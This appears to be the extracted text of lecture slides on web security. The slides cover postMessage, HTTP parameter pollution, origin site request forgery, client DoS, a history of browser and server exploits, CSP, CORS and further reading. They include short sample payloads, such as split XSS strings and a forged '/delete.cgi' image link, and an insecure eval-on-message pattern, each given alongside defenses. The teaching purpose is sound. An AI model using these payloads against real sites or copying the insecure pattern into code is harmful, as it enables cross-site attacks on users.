### window.postMessage

- · postMessage allows communication between frames
- window.addEventListener("message", recv, false);
- function recv(event e) { eval(data) }
- attack other.PostMessage('...bad code...',target)
- defense
  - verify e.origin as trusted origin
  - reject or verify data if origin is untrusted
- if sending message set target to expected URL
  - it might have changed

# **HPP - HTTP Parameter Pollution**

- · force same parameter multiple times
  - "id=<scr&id=ipt>" in URL
  - "id=<scr" in URL and "id=ipt>" in POST data
  - maybe "id=<scr%26id=ipt>" in URL
- result depends on system
  - "<scr", "ipt>", "<script>", "<scr,ipt>", ['<scr','ipt>'], ...
- impact: outsmart WAF, input filter, mod\_rewrite..
- problem
  - standards do not define proper behavior
  - insufficient normalization in WAF,...
- workaround: die() instead of somehow interpreting data

## **OSRF - Origin Site Request Forgery**

- CGI link?type=question.gif

   <img src=question.gif</li>
- attack link?type=/delete.cgi%23.gif
  - o <img src=/delete.cgi#.gif</pre>
  - access includes authorized cookie
- defense: restrict and validate parameter

- dangling connections
- lots of clients (slashdot effect, low orbit ion cannon, botnet, worm, embedded content...)
- TLS (re)negotation
- hash collision attack
- steal domain
- ...

# **Client DOS**

- · codecs for image/audio/video optimized for performance, not security
- uncommon subformats, codec options
- huge pictures
- CPU and memory resource exhaustion
  - popup storm
  - gzip encoding bomb
  - lots of script
- ...
- might affect server too when normalizing uploads

## Past, Present and Future

## Past, Present and Future

### .next

- · typical exploits of the past
- current problems
- current development
- look into the future

# **Picture Architecture**



# Client Side

## Past

- 2002 everybody can be CA with MSIE (2011 same with iOS)
- 2006 frame injection by name (IE7)
- 2006 Acrobat Reader http://host/file.pdf#FDF=javascript:...
- 2007 GMail XSS via blogspot polling script
- 2007 ActiveX Symantec, 2008 ActiveX Word
- 2008 Cookie-Policy vs. localhost.ebay.com vs. local CUPS XSS
- 2009,2010 Safari execute Javascript in local context via feed://
- 2010 Firesheep, 2009 sslstrip
- 2010 Cross Origin CSS (POF Yahoo Mail)
- 2011 compromise of CAs Comodo and DigiNotar
- 2004,2007,2011 IE MHTML mhtml:http://trusted/upload.jpeg!script
- all the time: Flash, XSS

## Present

- #1: Flash, Shockwave
- Acrobat Reader
- XSS all time problem
- ActiveX is still used and got no safer
- standards and implementations vs. security
  - MSIE content-type sniffing
  - MSIE UTF-7 support
  - FF,MSIE ignore \0 in entities, data
  - MSIE MHTML, (FF JAR fixed years ago)
  - MSIE can quote attributes with `
  - MSIE unescapes unescapable CSS statements
  - CSS ignores junk by design
  - Browser work around junk by implementation
- fragile PKI, DNS missing Sec

## Future

- the good
- the bad
- HTML5
  - CSP
    - CORS

## The Good

- browser security gets better
- HTML5 brings some good stuff
- automatic updates for Chrome, FF and maybe IE
- IE8 got XSS filter
- some automatic updates or warnings for Flash
- DNSSec gets rolled out

PKI gets some fixes, maybe more?

## The Bad

- number of clients and servers and thus attack surface increases
- HTML5 brings some bad stuff
- IE has too much backward compatibility

## HTML5

- living standard: where does my browser live?
- · less ambivalent standard, but still way too complex
- iframe sandboxing
- Websockets
  - bad: any protocol is now blessed
  - o good: better this then JSONP?
- bad: localStorage
  - until now cookie was mainly pointer to sensitive data on server
  - now sensitive data at client
  - · although standard explicitly advises against it
- CSP Content Security Policy
- CORS Cross Origin Resource Sharing

## HTML5 CSP

- fix bad design by adding yet another HTTP header
  - FF, IE, Chrome: X-Content-Security-Policy
    - early Chrome: X-Webkit-CSP
- IE9 no, IE10 limited implementation
- restrictiv by default
  - no inline script
  - no script with external source
  - no media from external source
  - not embedable (iframe)
  - no eval, setInterval.. with strings
  - no data URLs
- exceptions need to be specified in HTTP header or policy file
  - HTML meta tag might define, but not overwrite policy

## **CSP** Current Usage

- nearly zero
- mobile.twitter.com uses good restrictive policy
- facebook uses report-only and overly permissive policy
   eval and inline script are allowed
- · lastpass.com: inline script and eval allowed

# HTML5 CORS

- XMLHTTPRequest only can call back home
- workaround: include of remote data via dynamic script tags

- with CORS secure cross origin XMLHTTPRequest possible
  - server must explicitly accept request
  - preflight check recommended, usually done for POST

# Server Side

#### Server Side

#### Past

- · lots of PHP exploits because of insecure defaults
  - register\_globals
  - open SSI
- 2007,2008,2010 CSRF to internal routers
- 2010 eBay exploit via hijacked powerseller account (javascript)
- 2011 hash collision DOS PHP, ASP.NET, Python, Ruby...
- regularly exploits via included ads
- always SQL injections, XSS, CSRF

#### Present

- insufficient validation, normalization and escaping
- misplaced trust in 3rd party (ad, tracking, powerseller)
- leading to CSRF, XSS, SQL injections

### Future

- PHP will not vanish
- maybe we get frameworks with better builtin security
- use available security options
  - X-Content-Type-Options: nosniff
  - X-Frame-Options: DENY|SAMEORIGIN
  - X-XSS-Protection 1; mode=block
  - CSP
  - iframe sandboxing, postMessage

### Future II

- security awarness must increase
- liability laws might force better security
  - or more costly insurance
  - good programmers will still be rare and expensive
  - maybe insurance is cheaper than good developer
- WAF, IDS?
  - kind of useful if webapp is bad
  - less useful if webapp is secure already

## **Books, Web Pages**

- Michael Zalewski The Tangled Web
- Mario Heiderich html5sec.org
- Michael Zalewski Browser Security Handbook
- Martin Johns PhD Thesis
- OWASP, OWASP Cheatsheets
- WASC, WASC Thread Classification
- Content-Type-Sniffing MSIE
  - "The Content-type Saga"
  - IE Blog 2005
  - MSDN Description
  - IE Blog 2010
- Test Cases for HTTP Content-Disposition header field
- HTML5::Sanitizer
- Attacking with Character Encoding for Profit and Fun. POC2008

# Blogs

- low-traffic high-quality Blogs
  - Icamtuf Michael Zalewski
  - hackademix NoScript Author
  - The Spanner
  - XS-Sniper Billy (RK) Rios
  - IE Blog
  - ModSecurity
  - Dan Kaminski